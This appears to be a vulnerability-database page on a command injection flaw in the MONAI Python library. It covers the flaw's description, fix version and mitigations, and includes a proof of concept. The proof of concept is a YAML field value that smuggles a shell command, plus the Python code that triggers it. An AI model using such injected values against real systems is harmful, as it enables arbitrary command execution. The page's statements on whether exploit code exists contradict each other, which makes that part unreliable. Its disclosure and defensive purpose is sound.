How severe is GHSA-rghg-q7wp-9767?

No CVSS score has been assigned to GHSA-rghg-q7wp-9767 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-rghg-q7wp-9767?

GHSA-rghg-q7wp-9767 affects the following packages: monai (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-rghg-q7wp-9767?

Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rghg-q7wp-9767 is resolved across your whole dependency graph.

How do I detect GHSA-rghg-q7wp-9767 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-rghg-q7wp-9767 if there is no patch (or I can't update yet)?

Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Is GHSA-rghg-q7wp-9767 actively exploited in the wild?

No public exploit code has been indexed for GHSA-rghg-q7wp-9767 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-rghg-q7wp-9767?

GHSA-rghg-q7wp-9767 has an EPSS (Exploit Prediction Scoring System) score of 0.8%, placing it in the 54th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-rghg-q7wp-9767?

GHSA-rghg-q7wp-9767 is classified as OS Command Injection (CWE-78). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-rghg-q7wp-9767 published, and has it been updated?

GHSA-rghg-q7wp-9767 was published on August 18, 2026 and was last updated on October 1, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

Not in CISA KEV

GHSA-rghg-q7wp-9767 — monai

Fix: Project-MONAI/MONAI#8885

GHSA-rghg-q7wp-9767 is a OS Command Injection vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.

MONAI vulnerable to OS command injection

Also known asCVE-2026-100844PYSEC-2026-4019

Published

Aug 18, 2026

Updated

Oct 1, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rghg-q7wp-9767.

EPSS Exploitation Probability

via FIRST.org ↗

0.8%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐍monai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`monai`	all versions	1.6.0`pip install --upgrade 'monai==1.6.0'`

Affected Products

1 product · 1 configurations

Application

monaiproject-monai

< 1.6.0

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update monai to 1.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rghg-q7wp-9767 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Comment from JPCERT/CC We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11. It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email. ### Summary MONAI vulnerable to OS command injection. ### Details This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) a

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